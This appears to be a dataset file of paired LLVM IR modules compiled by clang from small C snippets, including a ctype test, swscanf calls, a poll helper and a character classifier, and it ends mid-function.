@.str = private unnamed_addr constant [168 x i8] c"/scratch/repos/new/home/jordi_armengol_estape/c-scraper/outputs/2022-01-22/02-19-57/repos/bitfixer/bitfixer/refs/heads/master/dg/z88dk/test/suites/ctype/test_iscntrl.c\00", align 1
@.str.1 = private unnamed_addr constant [29 x i8] c"iscntrl should be 0 for 0x9e\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @t_iscntrl_0x9e() #0 {
%1 = call i64 @iscntrl(i32 noundef 158)
%2 = icmp eq i64 %1, 0
%3 = zext i1 %2 to i32
%4 = call i32 @Assert_real(i32 noundef %3, ptr noundef @.str, i32 noundef 795, ptr noundef @.str.1)
ret void
}
declare i32 @Assert_real(i32 noundef, ptr noundef, i32 noundef, ptr noundef) #1
declare i64 @iscntrl(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp418uyuy4.c'
source_filename = "/tmp/tmp418uyuy4.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp418uyuy4.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp581wuug2.c'
source_filename = "/tmp/tmp581wuug2.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp581wuug2.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpjalt9_jd.c'
source_filename = "/tmp/tmpjalt9_jd.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @uninitvar_swscanf() #0 {
%1 = alloca ptr, align 8
%2 = alloca ptr, align 8
%3 = alloca i32, align 4
%4 = load ptr, ptr %1, align 8
%5 = load ptr, ptr %2, align 8
%6 = call i32 (ptr, ptr, ...) @swscanf(ptr noundef %4, ptr noundef %5)
%7 = load ptr, ptr %1, align 8
%8 = load ptr, ptr %2, align 8
%9 = call i32 (ptr, ptr, ...) @swscanf(ptr noundef %7, ptr noundef %8, ptr noundef %3)
ret void
}
declare i32 @swscanf(ptr noundef, ptr noundef, ...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpjalt9_jd.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @uninitvar_swscanf() #0 {
%1 = alloca ptr, align 8
%2 = alloca ptr, align 8
%3 = alloca i32, align 4
%4 = load ptr, ptr %1, align 8
%5 = load ptr, ptr %2, align 8
%6 = call i32 (ptr, ptr, ...) @swscanf(ptr noundef %4, ptr noundef %5)
%7 = load ptr, ptr %1, align 8
%8 = load ptr, ptr %2, align 8
%9 = call i32 (ptr, ptr, ...) @swscanf(ptr noundef %7, ptr noundef %8, ptr noundef %3)
ret void
}
declare i32 @swscanf(ptr noundef, ptr noundef, ...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpsuwoik_e.c'
source_filename = "/tmp/tmpsuwoik_e.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [19 x i8] c"sqrt(%3.0f)=%2.0f\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca double, align 8
store i32 0, ptr %1, align 4
store double 1.000000e+02, ptr %2, align 8
%3 = load double, ptr %2, align 8
%4 = load double, ptr %2, align 8
%5 = call double @calcSqrt(double noundef %4)
%6 = call i32 @printf(ptr noundef @.str, double noundef %3, double noundef %5)
ret i32 0
}
declare i32 @printf(ptr noundef, double noundef, double noundef) #1
declare double @calcSqrt(double noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpsuwoik_e.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [19 x i8] c"sqrt(%3.0f)=%2.0f\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca double, align 8
store i32 0, ptr %1, align 4
store double 1.000000e+02, ptr %2, align 8
%3 = load double, ptr %2, align 8
%4 = load double, ptr %2, align 8
%5 = call double @calcSqrt(double noundef %4)
%6 = call i32 @printf(ptr noundef @.str, double noundef %3, double noundef %5)
ret i32 0
}
declare i32 @printf(ptr noundef, double noundef, double noundef) #1
declare double @calcSqrt(double noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmppa5b8ct9.c'
source_filename = "/tmp/tmppa5b8ct9.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
%struct.pollfd = type { i32, i32, i32 }
@POLLIN = dso_local global i32 0, align 4
@stdout = dso_local global i32 0, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @key_avail() #0 {
%1 = alloca %struct.pollfd, align 4
%2 = getelementptr inbounds %struct.pollfd, ptr %1, i32 0, i32 0
store i32 0, ptr %2, align 4
%3 = getelementptr inbounds %struct.pollfd, ptr %1, i32 0, i32 1
%4 = load i32, ptr @POLLIN, align 4
store i32 %4, ptr %3, align 4
%5 = getelementptr inbounds %struct.pollfd, ptr %1, i32 0, i32 2
store i32 0, ptr %5, align 4
%6 = load i32, ptr @stdout, align 4
%7 = call i32 @fflush(i32 noundef %6)
%8 = call i64 @poll(ptr noundef %1, i32 noundef 1, i32 noundef 0)
%9 = icmp sgt i64 %8, 0
%10 = zext i1 %9 to i32
ret i32 %10
}
declare i32 @fflush(i32 noundef) #1
declare i64 @poll(ptr noundef, i32 noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmppa5b8ct9.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
%struct.pollfd = type { i32, i32, i32 }
@POLLIN = dso_local global i32 0, align 4
@stdout = dso_local global i32 0, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @key_avail() #0 {
%1 = alloca %struct.pollfd, align 4
%2 = getelementptr inbounds %struct.pollfd, ptr %1, i32 0, i32 0
store i32 0, ptr %2, align 4
%3 = getelementptr inbounds %struct.pollfd, ptr %1, i32 0, i32 1
%4 = load i32, ptr @POLLIN, align 4
store i32 %4, ptr %3, align 4
%5 = getelementptr inbounds %struct.pollfd, ptr %1, i32 0, i32 2
store i32 0, ptr %5, align 4
%6 = load i32, ptr @stdout, align 4
%7 = call i32 @fflush(i32 noundef %6)
%8 = call i64 @poll(ptr noundef %1, i32 noundef 1, i32 noundef 0)
%9 = icmp sgt i64 %8, 0
%10 = zext i1 %9 to i32
ret i32 %10
}
declare i32 @fflush(i32 noundef) #1
declare i64 @poll(ptr noundef, i32 noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp_50ek_q2.c'
source_filename = "/tmp/tmp_50ek_q2.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [20 x i8] c"cannot be void type\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @notvoid(i32 noundef %0) #0 {
%2 = alloca i32, align 4
store i32 %0, ptr %2, align 4
%3 = load i32, ptr %2, align 4
%4 = icmp eq i32 %3, 0
br i1 %4, label %5, label %7
5: ; preds = %1
%6 = call i32 @error(ptr noundef @.str)
br label %7
7: ; preds = %5, %1
ret void
}
declare i32 @error(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp_50ek_q2.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [20 x i8] c"cannot be void type\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @notvoid(i32 noundef %0) #0 {
%2 = alloca i32, align 4
store i32 %0, ptr %2, align 4
%3 = load i32, ptr %2, align 4
%4 = icmp eq i32 %3, 0
br i1 %4, label %5, label %7
5: ; preds = %1
%6 = call i32 @error(ptr noundef @.str)
br label %7
7: ; preds = %5, %1
ret void
}
declare i32 @error(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp03ookgsc.c'
source_filename = "/tmp/tmp03ookgsc.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @signalHandler(i32 noundef %0, ptr noundef %1, ptr noundef %2) #0 {
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
store ptr %2, ptr %6, align 8
%7 = call i32 (...) @fetchData()
ret void
}
declare i32 @fetchData(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp03ookgsc.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @signalHandler(i32 noundef %0, ptr noundef %1, ptr noundef %2) #0 {
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
store ptr %2, ptr %6, align 8
%7 = call i32 (...) @fetchData()
ret void
}
declare i32 @fetchData(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp82o7zbgp.c'
source_filename = "/tmp/tmp82o7zbgp.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @cam_reset() #0 {
%1 = call i32 (...) @cam_reset_view()
%2 = call i32 (...) @cam_reset_proj()
%3 = call i32 (...) @cam_reset_stereo()
ret void
}
declare i32 @cam_reset_view(...) #1
declare i32 @cam_reset_proj(...) #1
declare i32 @cam_reset_stereo(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp82o7zbgp.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @cam_reset() #0 {
%1 = call i32 (...) @cam_reset_view()
%2 = call i32 (...) @cam_reset_proj()
%3 = call i32 (...) @cam_reset_stereo()
ret void
}
declare i32 @cam_reset_view(...) #1
declare i32 @cam_reset_proj(...) #1
declare i32 @cam_reset_stereo(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp3e0ancrt.c'
source_filename = "/tmp/tmp3e0ancrt.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [4 x i8] c"%d\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca i32, align 4
%3 = alloca i32, align 4
store i32 0, ptr %1, align 4
store i32 9, ptr %2, align 4
store i32 0, ptr %3, align 4
%4 = load i32, ptr %2, align 4
%5 = call i32 @exact_square(i32 noundef %4)
store i32 %5, ptr %3, align 4
%6 = load i32, ptr %3, align 4
%7 = call i32 @printf(ptr noundef @.str, i32 noundef %6)
ret i32 0
}
declare i32 @exact_square(i32 noundef) #1
declare i32 @printf(ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp3e0ancrt.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [4 x i8] c"%d\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca i32, align 4
%3 = alloca i32, align 4
store i32 0, ptr %1, align 4
store i32 9, ptr %2, align 4
store i32 0, ptr %3, align 4
%4 = load i32, ptr %2, align 4
%5 = call i32 @exact_square(i32 noundef %4)
store i32 %5, ptr %3, align 4
%6 = load i32, ptr %3, align 4
%7 = call i32 @printf(ptr noundef @.str, i32 noundef %6)
ret i32 0
}
declare i32 @exact_square(i32 noundef) #1
declare i32 @printf(ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpde_8y87g.c'
source_filename = "/tmp/tmpde_8y87g.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [3 x i8] c"%c\00", align 1
@.str.1 = private unnamed_addr constant [13 x i8] c"Small Letter\00", align 1
@.str.2 = private unnamed_addr constant [15 x i8] c"Capital Letter\00", align 1
@.str.3 = private unnamed_addr constant [6 x i8] c"Digit\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca i8, align 1
store i32 0, ptr %1, align 4
%3 = call i32 @scanf(ptr noundef @.str, ptr noundef %2)
%4 = load i8, ptr %2, align 1
%5 = sext i8 %4 to i32
%6 = icmp sle i32 97, %5
br i1 %6, label %7, label %13
7: ; preds = %0
%8 = load i8, ptr %2, align 1
%9 = sext i8 %8 to i32
%10 = icmp sle i32 %9, 122
br i1 %10, label %11, label %13
11: ; preds = %7
%12 = call i32 @printf(ptr noundef @.str.1)
br label %35
13: ; preds = %7, %0
%14 = load i8, ptr %2, align 1
%15 = sext i8 %14 to i32
%16 = icmp sle i32 65, %15
br i1 %16, label %17, label %23
17: ; preds = %13
%18 = load i8, ptr %2, align 1
%19 = sext i8 %18 to i32
%20 = icmp sle i32 %19, 90
br i1 %20, label %21, label %23
21: ; preds = %17
%22 = call i32 @printf(ptr noundef @.str.2)
br label %34
23: ; preds = %17, %13
